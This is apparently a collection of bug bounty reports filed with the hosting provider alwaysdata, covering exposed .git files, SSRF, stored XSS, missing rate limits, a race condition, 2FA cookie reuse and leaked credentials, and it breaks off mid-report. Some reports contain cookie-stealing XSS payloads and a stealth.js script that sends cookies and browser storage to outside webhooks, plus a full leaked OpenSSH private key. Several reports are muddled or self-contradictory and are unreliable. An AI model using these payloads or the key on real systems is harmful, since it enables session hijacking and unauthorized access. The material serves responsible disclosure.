Security vulnerabilities

The .git/config file is publicly accessible on the security.alwaysdata.com subdomain. This indicates that the .git directory has not been properly restricted, allowing an attacker to access sensitive Git metadata.

If additional .git files (like .git/HEAD, .git/index, .git/objects/) are also accessible, an attacker could potentially reconstruct the entire source code repository. This can lead to the disclosure of internal source code, credentials, API endpoints, and business logic — posing a serious security risk.

Steps to Reproduce:
Open a browser or use curl to access the following URL:
https://security.alwaysdata.com/.git/config

Observe that the .git/config file is accessible and contains Git repository metadata such as:
[core]

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true

[remote "origin"]

url = https://internal-repo-url.git

Check other common Git paths:

https://security.alwaysdata.com/.git/HEAD https://security.alwaysdata.com/.git/index https://security.alwaysdata.com/.git/logs/HEAD https://security.alwaysdata.com/.git/refs/heads/ https://security.alwaysdata.com/.git/objects/

accessible, use tools like git-dumper or GitTools-Dumper to reconstruct the repository:
git-dumper https://security.alwaysdata.com/.git/ ./recovered-repo

Impact:
If attackers gain access to the full .git directory, they may be able to:
Download the complete source code of the web application.
Discover hardcoded credentials, API keys, or tokens.
Understand internal application logic and endpoints, increasing the risk of RCE, SQLi, or IDOR attacks.
Enumerate development branch names which may leak information about unreleased features or internal systems.
Perform targeted phishing/social engineering using internal metadata.
This vulnerability is especially concerning as it appears on a security-focused subdomain, which could damage the trust of your users and clients if exploited publicly.

Mitigation:
Immediately restrict access to the .git directory using web server rules.
For Apache, add the following to your .htaccess or config:
RedirectMatch 404 /\.git

For Nginx:
nginx
location ~ /\.git {

  deny all;

}

Review your source code repository for any hardcoded secrets or sensitive information that may have been exposed.

Rotate any exposed credentials or API keys, if applicable.

Add security monitoring for unauthorized access to sensitive files or paths.

Description:

I am doing research related to malware attacks and subsequent attacks on organizations. As far as you know, such attacks were committed against many large companies such as Uber, activision, rockstar, and others.

That might be helpful. Please check that as it can explain most of your questions

https://twitter.com/cglyer/status/1570965878480719873

https://medium.com/@group-ib/what-group-ib-found-about-the-uber-hack-c47cad571ea8

Recently there has been a surge in stolen logs for sale commonly known as Stealer Logs

Stealer logs are malware that is designed to seize login credentials, cookies and files from compromised systems. They work by silently working in the background and exfiltrating the data to an attacker's server.

Several variants of infostealer malware exist, but the primary groups we often encounter are Redline, Raccoon, Vidar, and LummaC2.

During my recent research of analyzing Stealer Logs from various sources, I identified that various credentials belonging to your organisation are leaked.

Intel Source:

IntelX and Telegram Monitoring

It's also important to note that in the event that some of the aforementioned passwords/credentials are no longer working, if the malware is still present on device, then all the accounts should still be considered compromised - My malware logs are not fully up to date and rely on threat intel sources making them available.

Impact

References:

https://flare.io/learn/resources/stealer-logs-and-corporate-access/

https://datadome.co/learning-center/what-is-otp-bot/

https://flare.io/learn/resources/blog/otp-bots/

https://www.infostealers.com/

- Implement mandatory credential rotation protocols.

- Thoroughly examine computing systems for any lingering malware presence.

- Institute Two-Factor Authentication (2FA) across all provided services without exception.

- Deploy a robust password management mechanism ensuring the encryption of stored passwords.

- Provide comprehensive guidance to users on refraining from engaging with unsolicited hyperlinks.

- Disseminate information discouraging the installation of unverified software.

- Foster awareness among users regarding the risks associated with accessing corporate services via non-corporate devices.

- Conduct routine validation exercises by cross-referencing compromised password datasets against the user database to preempt Account Takeover (ATO) incidents.

- Implement a DarkWeb Monitoring Service to capture any exposed logs/credentials/cookies etc.https://[[https://[[https://]]]]

The username of every single user on Alwaysdata is leaked via the roles.php endpoint. With this information, an attacker can use it to infer the URLs of services their potential victims use, ex. ssh-USERNAME_HERE.alwaysdata.net.

phpPgAdmin is also dumpster fire, it's in the best interest of your company to move away from the service to protect your users. phpPgAdmin is prone to cross-site scripting exploits and potential remote code execution due to the unserialization of user-supplied input (CVE-2023-40619). It's of no use reporting these vulnerabilities to the developers since phpPgAdmin is no longer maintained. Hell, even the CVE I mentioned hasn't been addressed. I urge you to switch to another service or a fork with security updates ASAP.

https://files.catbox.moe/pctk9v.png

Summary
During a security assessment of the api.alwaysdata.com API, a Server-Side Request Forgery (SSRF) vulnerability was identified in the GET /v1/site/doc/?9detl8s0ik=1 endpoint. This vulnerability allows an attacker to manipulate internal server requests and potentially interact with internal services that should not be exposed to the public. _

Vulnerability Details:
Endpoint: GET /v1/site/doc/?9detl8s0ik=1
Host: api.alwaysdata.com
Vulnerability Type: Server-Side Request Forgery (SSRF)
Severity: High

request:
GET /v1/site/doc/?9detl8s0ik=1 HTTP/1.1
Host: api.alwaysdata.com
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Referer: https://api.alwaysdata.com/doc/
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com
X-Forwarded-Server: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

response: 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site</a>
...

Impact
The application is processing the values of X-Forwarded-Host and related headers without proper validation or sanitization. This allows an attacker to manipulate server requests and potentially:

- Access internal services.
- Bypass IP restrictions.
- Enumerate internal infrastructure.
- Perform further attacks like internal port scanning or exploiting internal APIs.

Proof of Concept (PoC) By setting the X-Forwarded-Host header to a Burp Collaborator or OAST domain, I was able to confirm that the server included this manipulated domain in its internal requests and reflected it in the response.

Example:
X-Forwarded-Host: cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com

The response included:
<a href="https://cgwz6v1c70kcuf3j0gbyvkb38uel2fq4.oastify.com/v1/site">...</a>

This confirms the application made a server-side request using the attacker-controlled input.

Recommendations:
- Do not trust client-supplied headers such as X-Forwarded-Host, X-Host, and X-Forwarded-Server.

To: Alwaysdata IT Security Team
From: Raden Adhiyaksa Indiharto
Date: June 9, 2025
Vulnerability: Sensitive Data Exposure

Dear Alwaysdata Security Team,

I hope this message finds you well. I am reaching out to responsibly disclose a security issue I have identified within your infrastructure that may pose a risk to your services and your users.

Vulnerability Summary During passive reconnaissance of your publicly accessible infrastructure, I discovered multiple sensitive API keys and service credentials exposed in plaintext, including:
1. Twilio ACCOUNT_SID and APP_SID values
2. Heroku API keys
3. Amazon AWS S3 bucket URLs

These secrets were found in a file named secret.txt on your domain (alwaysdata.com). The exposed credentials could potentially allow unauthorized access to third-party services, leakage of customer data, or resource abuse.

Steps to Reproduce 1. Access the Alwaysdata public directory.
2. Locate the file named secret.txt.
3. Run the following commands to filter sensitive credentials:

cat secret.txt | grep Heroku
cat secret.txt | grep twilio
cat secret.txt | grep aws

4. This revealed a number of API keys and identifiers, as shown in the screenshots I have attached to this report.

Suggested Remediation 1. Immediately remove the publicly exposed file or restrict access to it.
2. Revoke and rotate all exposed API keys (Twilio, Heroku, AWS, etc.).
3. Conduct an internal audit to ensure no unauthorized access has occurred using these credentials.
4. Consider implementing secret scanning tools in your CI/CD pipelines to prevent future exposures.

Additional Note At this point, no further exploitation has been carried out, and no services have been interacted with using the exposed credentials. However, if you require a deeper assessment or verification of the actual impact and exploitability, I am open to performing controlled testing with your permission.

Please advise if the investigation should stop at this discovery phase, or if you would like me to assist further in validating the scope of the exposure.

Disclosure Policy This report has not been shared publicly. I am committed to responsible disclosure and will not publish or use this information in any way that may harm your services or users. Please let me know if you need any further details or assistance in mitigating this issue.

Thank you for your attention, and I look forward to your response.

Kind regards,
Raden Adhiyaksa Indiharto

email: radenadhiyaksa89@gmail.com

Link Video, Image, and File PoC
https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

#No email verification required when we change email from settings

Hello Team,

Issue:
When we try to signup with an email, it asks us for clicking a email validation link which is sent to our email, then we have to login, without clicking that link, we cannot login, but when we change email from user settings page/edit settings page, it doesn't asks us for validation..

Impact:
For example, a user creates an account with his email (user@example.com) and verifies it using the link which has been sent to his email, as he/she have access to user@example.com, but next he goes to settings and in email change mechanism, he can put any email like (president@whitehouse.gov) and no verification is required, and the user can login with that email and access his account with the email president@whitehouse.gov, and do some abusive or not good activities and the company will be blamed!

New steps to reproduce:
Go to profile settings
Enter any email
Submit settings → Account will be accessible without verification!

How to fix?
Email verification/validation should be required when a user changed email from user settings page..
I hope you'll fix it soon.

Thank You,

Waleed Anwar

Dear Alwaysdata IT Team,

My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:

https://www.alwaysdata.com/en/contact/

The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.

Vulnerability Summary

• Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
• Affected Endpoint: /en/contact/ (POST method, JSON input)
• Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
• Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
• Severity: Medium to High (depending on victim interaction)

CVSS (v3.1) Score Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) Required (R)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) None (N)
Base Score: 7.4 (High)
Severity Rating: High

Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:

{
  "form-mail-email": "attacker@gmail.com",
  "form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
  "form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}

This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.

Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.

Server Response

HTTP/2 200 OK
Content-Length: 2
ok

confirming that the malicious input was successfully stored.

Potential Impact

• Unauthorized disclosure of session cookies and sensitive data.
• Potential account takeover, privilege escalation, and unauthorized access.
• Difficult to detect due to blind nature (the attacker does not see immediate effects).

Recommendations for Mitigation

• Input Validation and Sanitization:

Filter and sanitize all inputs to reject or escape HTML and script content.

• Output Encoding:

Properly encode data before rendering it in the UI to prevent script execution.

• Content Security Policy (CSP):

Implement CSP headers to restrict sources of executable scripts.

• Security Testing:

Engage in regular security audits and include XSS-focused penetration testing.

Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.

Thank you for your attention and commitment to security.

Best regards,
Raden Adhiyaksa Indiharto
Security Researcher

Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing

From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com

To:
IT Team, Alwaysdata
https://alwaysdata.com

My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.

This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.

Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)

Vulnerable Parameter: ?page=

Affected URL:

https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active

Payload (URL Encoded):

<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>

Impact

• The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
• This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.

Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:

(function () {
  const data = {
    cookie: document.cookie,
    location: location.href,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    platform: navigator.platform,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: {
      width: screen.width,
      height: screen.height
    },
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    html: document.documentElement?.outerHTML?.slice(0, 1000),
    ts: new Date().toISOString(),
    id: Math.random().toString(36).substring(2)
  };

  // Kirim via fetch (utama)
  fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  }).catch(() => {
    // Fallback jika fetch gagal
    new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
  });
})();

This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.

Recommendations

• Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
• Implement strict input validation and whitelist allowed characters.
• Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
• Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.

I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.

Thank you for your attention and commitment to security.

Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa

Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.

Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]

Summary: There is a problem with how AlwaysData handles email verification during account registration. After clicking the email verification link, the user is automatically logged in without needing to enter their email and password again. This is a security risk.

Steps to Reproduce: 1. Go to: https://www.alwaysdata.com/en/register/, as an attacker.
2. Register a new account using the victim's email address.
3. The victim will click the verification email that looks like this: https://admin.alwaysdata.com/user/validate/?user_id=...&token=...&expiration=… 5. After clicking the link, he will see a message that says: "Your registration is now validated, you can use all the services."
6. Now, the Attacker will click on the link that looks like: "I have validated my registration" and successfully log into the victim's account.
7. As the victim is directly logged into his account, he will not identify that someone has also logged into his account.

Issue: After clicking the email verification link, the website allows users to access their account directly. It does not ask for a password or login again. This means if someone else gets access to your email, they can take over your account without knowing your password.

Recommendations: 1. After clicking the email verification link, the user should be taken to the login page.
2. The system should ask the user to enter their email and password to log in.

POC: https://drive.google.com/file/d/17HZuLeTVPW52kIEH03C2xU-OWnOBFvZG/view?usp=sharing

# Weak password policy in Webmail.alwaysdata.com

Hello Team, I hope you are doing well. While, Researching in your domain I found Weak password policy in Webmail.alwaysdata.com.

I get to know that you are using strong password policy.
I gone through application and checked for that.
and get to know that as per ISO9001 security compliance weak password policy.

#Steps to Reproduce:

1. Login into https://admin.alwaysdata.com/login/.
2. Go to https://admin.alwaysdata.com/mailbox/ and Change Password to 👨‍👩‍👧‍👦.
3. Password will be Changed to 👨‍👩‍👧‍👦.

Impact:

Use Strong Password Policy and remove these Unicode Character's.

Thank You,

Waleed Anwar

Summary:

Hello,

I have identified a critical race condition vulnerability on alwaysdata.com that allows any authenticated user to bypass account restrictions and provision unlimited 100MB free cloud instances.
This issue can be exploited using Burp Suite along with the Turbo Intruder extension, although other tools capable of concurrent requests may also be used.

Steps to Reproduce:

1. Log into any valid user account on https://admin.alwaysdata.com.
2. Make sure the account does not already own a 100MB free cloud instance.
3. Start creating a new 100MB free cloud subscription via the interface.
4. Intercept the request sent to the following endpoint:

 POST /admin/account/add/ HTTP/1.1
 Host: admin.alwaysdata.com

5 - Modify the name parameter by inserting %s, which Turbo Intruder will later replace using a wordlist.
6 - Configure Turbo Intruder to fire multiple concurrent requests to that endpoint using the modified payload:

 csrfmiddlewaretoken=<csrf>&name=%s&password=<yourpass>&location=datacenter_3&product=1&period=1mo&submit=

7 - Launch the Turbo Intruder attack.

You’ll observe multiple responses with a similar length (~270), which indicates that several cloud instances were successfully created concurrently.

Check your subscription list: you'll notice that multiple 100MB free clouds have been added, bypassing the expected 1-instance restriction.

Proof of Concept (Video):

https://youtu.be/GWuo8FdqC1s

Impact:

This vulnerability allows any authenticated user to:

• Bypass subscription restrictions and claim multiple "free tier" services.

• Abuse storage resources by stacking unlimited 100MB instances.

• Impact the platform’s financial stability due to misuse of free offerings.

• Overload infrastructure, potentially degrading performance or availability for other users.

• Undermine alwaysdata’s business model, by rendering subscription limits ineffective.

In short, this vulnerability could be weaponized to consume massive amounts of storage at zero cost, with no rate limit or quota enforcement preventing abuse.

Recommendations: Implement server-side locking or atomic operations to prevent concurrent subscription creation.

Apply idempotency checks and enforce strict rate limiting.

Consider rejecting duplicate subscription requests at the application logic level, even under concurrent load.

Contact: If you need additional information, reproduction support, or testing help, feel free to reach out.

Best regards,
dav3n

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

# Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

Hello Team, I hope you are doing well. While, Researching in your domain I found Insecure Cache-Control Leading to View Email and Password in https://webmail.alwaysdata.com/?from_roundcube=1.

# Steps to Reproduce:

1. Login to https://webmail.alwaysdata.com/?from_roundcube=1.
2. Visit every Pages in https://webmail.alwaysdata.com/?from_roundcube=1 after the login.
3. Logout from the account.
4. Click Back Button 9 to 10 times.
5. You can get your email and password in the Login form. ( Toggle to See the Password)

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Mobile Device.
Doesn't exploitable in FireFox.

Thank You,

Waleed Anwar

Hi Team,

I wish you a great day ahead, Please take time to review this report and let me know if there is anything I can help you with.

Summary:
A publicly accessible .git/config file has been discovered at https://security.alwaysdata.com/.git/config. This exposure may indicate that the entire .git/ directory is accessible, allowing for potential leakage of source code, repository metadata, internal configuration, and potentially sensitive information.

Proof of Concept (PoC):
1. Visit the following URL: https://security.alwaysdata.com/.git/config 2. The server responds with Git configuration details:

[core]

  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true

[remote "origin"]

  url = https://github.com/flyspray/flyspray.git
  fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

  remote = origin
  merge = refs/heads/master

3. Other files likely accessible:

.git/HEAD

.git/index

.git/logs/HEAD

.git/objects/ (may allow full repo reconstruction)

4. I was able to access the following links :
https://security.alwaysdata.com/.git/config https://security.alwaysdata.com/.git/logs/HEAD https://security.alwaysdata.com/.git/refs/heads/master

Security Impact:
1. Exposed .git/ directories can be exploited to:
2. Download the entire source code via tools like git-dumper or DVCS-Pillage.
3. Identify internal logic, vulnerabilities, or credentials.
4. Facilitate targeted exploitation by analyzing application internals.
5. This is a well-known vulnerability class and has been featured in multiple security advisories (e.g., NCSC CH advisory).

Recommendation:

• Immediately restrict public access to the .git/ directory using server configuration (e.g., .htaccess, nginx rules).

• Audit the repository history for any sensitive data accidentally committed.

• Monitor for any suspicious activity or exploitation attempts.

Disclosure Policy:
This report is submitted in good faith under your published Bug Bounty Program. Please let me know if additional details or testing are needed. I will not disclose this issue publicly without your explicit permission.

Thank you for your attention to this issue.

Best regards,
TheeHerbie

Vulnerability Description:

A vulnerability has been discovered in Alwaysdata's email management system that allows an attacker to retain an active Webmail session even after the associated email address has been renamed in the control panel. This issue enables unauthorized access to the previous email identity and settings, potentially allowing an attacker to maintain control without the new user's awareness.

—

Steps to Reproduce:

1. The attacker adds a custom domain (e.g., test.com) to their Alwaysdata account.

2. They create an email address like admin@test.com and log in to Webmail (webmail.alwaysdata.com), keeping the session active.

3. The attacker then goes to the control panel (admin.alwaysdata.com) and renames the email address to something else (e.g., info@test.com) and saves the changes.

4. Although admin@test.com no longer exists in the interface, its Webmail session remains active.

5. The attacker deletes the domain test.com from their account.

6. The Webmail session for admin@test.com is still valid, and the attacker can access and modify email settings.

—Proof of Concept (PoC) Provided: https://admin.alwaysdata.com/support/86544/

Impact of the Vulnerability:

Modification of email settings.

Wide-scale exploitation: The attacker can repeat the process with multiple domains, allowing them to gain control over different email accounts.

Recommendations to Fix the Vulnerability:

1. Terminate all active sessions immediately when an account is deleted or a domain is removed.

2. Link sessions to the user account instead of just the domain to ensure sessions do not transfer between different users.

This vulnerability poses a serious threat to user privacy and account security, and we strongly recommend fixing it as soon as possible.

Hello,

I discovered a private SSH key exposed in a public GitHub repository. This poses a significant security risk, as an attacker could potentially gain unauthorized access to servers or internal systems if the key is still active and not passphrase-protected.

OPEN SSH PRIVATE KEY….

—–BEGIN OPENSSH PRIVATE KEY—– b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC4LTWO3FUlXJLlxmPXy2enZnARnnqRgZ6+7lzNvwL7OwAAAJBn8JtCZ/Cb
QgAAAAtzc2gtZWQyNTUxOQAAACC4LTWO3FUlXJLlxmPXy2enZnARnnqRgZ6+7lzNvwL7Ow
AAAEC67kacvftsZrOeW19wnOUYHgxqwzb4YYdACf5+MV1tVLgtNY7cVSVckuXGY9fLZ6dm
cBGeepGBnr7uXM2/Avs7AAAABm5vbmFtZQECAwQFBgc=
—–END OPENSSH PRIVATE KEY—–

Also , I have added the location where i found
you can check their….

Location of the leak: https://github.com/Hitch95/MSPR_CLOE855/blob/7a8cecc557eba449c9788ecacdeb88bdd22a9587/README.md?plain=1#L45

Just paste this in browser and scroll down key starts from 150 line number you can check their

Impact:
An attacker can gain direct SSH access to critical systems
It can be used to bypass authentication and remain undetected..

Security Report

Subject: Loss of Account Privileges Due to Exploitation of Academy Invitation Feature via Referral Code

—

Summary:

A critical vulnerability has been discovered in the academy invitation mechanism on the AlwaysData platform.
An attacker can exploit the referral system to cause any user (whether a teacher or a regular user) to permanently lose almost all account privileges, leading to near-total account disablement.

—

Technical Details:

Every user on AlwaysData has a unique referral code (for example: X) used to invite new users to register on the platform via the following link:

https://www.alwaysdata.com/en/register/?from=X Additionally, the same referral code is used to invite users to join the user's academy through the following link:

https://admin.alwaysdata.com/academic/attach/?teacher=X

Normally, users without academy administration privileges cannot invite members to an academy.
However, due to the way the invitation link is structured, any user can add themselves to their own academy by modifying the link and adding &attach at the end:

https://admin.alwaysdata.com/academic/attach/?teacher=X&attach

This link causes the user to immediately join their own academy without any notification or additional approval.

—

Attack Scenario:

1. Attacker’s Actions:

The attacker sends the victim their own academy invitation link (using the victim’s referral code):

https://admin.alwaysdata.com/academic/attach/?teacher=X&attach

As soon as the victim clicks the link, they are automatically added to their own academy.

2. Victim’s Actions:

After noticing that they have joined their own academy, the victim may manually leave it,
or they can leave directly using the leave link:

https://admin.alwaysdata.com/academic/detach/

3. After Leaving:

Once the victim leaves their academy, they permanently lose most of their account privileges:

Cannot access Permissions, Billing, Subscriptions, or other administrative sections.

Only able to edit personal information He can't even open a technical support ticket.

Any attempt to access protected sections results in a 403 Forbidden error message.

—POC: Ticket 86507

Impact:

Severe account disablement: The user loses full control over their account.

Data access loss: Access to billing, subscriptions, and key account settings is blocked.

Ease of exploitation: Only the referral code is needed.

Applies to all users: Both teachers and regular users are affected.

Can't open a technical support ticket

—

Recommendations:

Prevent users from joining their own academies using the referral code.

Modify behavior so that leaving an academy does not affect basic account privileges.

Disable automatic addition via &attach, or enforce additional verification before joining an academy.

—

Final Note:

This vulnerability allows any ordinary attacker, without special privileges, to completely cripple any user account with a single click.
It poses a very high security risk to user accounts and requires urgent remediation.

Title:
Website uses an outdated version of jQuery detected via Wappalyzer

Environment:

Device: PC / Laptop

Browser: Chrome (latest version)

Tools Used: Wappalyzer Extension

Steps to Reproduce:

1. Open [https://www.alwaysdata.com] in Chrome.

2. Open Wappalyzer extension while on the website.

3. Observe the version of jQuery listed.

Expected Result:
Website should use the latest stable version of jQuery to ensure security, performance, and compatibility.

Actual Result:
Wappalyzer reports that the website is using an outdated version of jQuery (e.g., jQuery 1.12.4 — released in 2016).

Impact:

Potential security vulnerabilities due to known exploits in older jQuery versions.

Compatibility issues with newer browsers or plugins.

Possible performance limitations.

Evidence:
(Screenshot from Wappalyzer showing the outdated jQuery version)

Recommendations:

Update jQuery to the latest stable release (currently [insert version number, e.g., 3.7.1]).

Test the website thoroughly after upgrading to ensure no functionality breaks

Hi Sir,

i am a Security researcher and a full time bug hunter i saw your bug
bounty program so i decided to test some vulnerability and i got No
Rate limiting on login form

here is the brief introduction of my bug please have a look

Severity = 6.5 to 7.5 (Medium to High)

(*) What is No Rate Limiting on the Login Form?

Rate limiting is a security measure that restricts the number of
requests a user can make to a server or system in a defined time
period. It helps mitigate brute force attacks by limiting the number
of login attempts a user can make in a short time frame.

When no rate limiting is applied to a login form, an attacker or
malicious user can send an unlimited number of requests, trying
various combinations of usernames and passwords. This could result in
unauthorized access or application-level denial of service (DDoS)
attacks if abused.

Overview of this Vulnerability During testing of the login functionality, I discovered a rate limiting bypass based on HTTP method manipulation. While the application initially enforced rate limiting when using the PUT method, switching the request method to PUT allowed me to bypass this protection entirely. Using the PUT method, I was able to send over 2,000 login requests without triggering any rate limiting mechanisms such as throttling, CAPTCHA, or account lockout. This confirms that the rate limiting controls are not consistently enforced across different HTTP methods. As a result, the application is exposed to brute force, credential stuffing, and denial-of-service attacks, allowing attackers to automate large-scale login attempts without restriction. Impacts

(1) Brute Force & Credential Stuffing Attacks:

Without rate limiting, attackers can try an unlimited number of
password combinations against the login form. This allows for brute
force or credential stuffing attacks, where an attacker can automate
the process of trying stolen or commonly used passwords for a given
username. With no restrictions on the number of login attempts, it
significantly increases the chances of gaining unauthorized access to
user accounts

(2) Account Takeover (ATO) Risk:

The absence of rate limiting makes it easier for attackers to gain
access to user accounts by attempting multiple password combinations.
Once an attacker successfully cracks a password, they can take over an
account and perform malicious actions, such as stealing sensitive data
or making unauthorized transactions.

(3) Denial of Service (DoS) or Application-Level DDoS:

The lack of rate limiting on the login form means that the server can
be overwhelmed with a high volume of requests. Attackers can flood the
login page with thousands of requests, leading to potential server
downtime or slowdowns. This can prevent legitimate users from
accessing the site, degrading the user experience and disrupting
normal service operations. It can also lead to increased server load
and higher operational costs.

(4) Increased Attack Surface for Automated Tools:

Automated tools like Burp Suite Intruder or Hydra can easily exploit
the lack of rate limiting, allowing attackers to test massive amounts
of login credentials in a short period of time. This increases the
risk of automated attacks, as attackers can use these tools to exploit
the vulnerability without manual intervention.

(5) Loss of Trust and Reputation:

If attackers are able to successfully break into accounts due to the
lack of rate limiting, it can lead to a loss of trust among users. If
users discover that their accounts can be easily compromised, it could
damage the reputation of the service or platform, leading to reduced
user engagement and retention.

Steps to reproduce (1) Navigate to the url https://translate.alwaysdata.com/login/?next=/ (2) Configure Burp Suite or any proxy tool (such as FoxyProxy in
Firefox) to intercept the HTTP request. (3) Attempt to log in with invalid credentials:
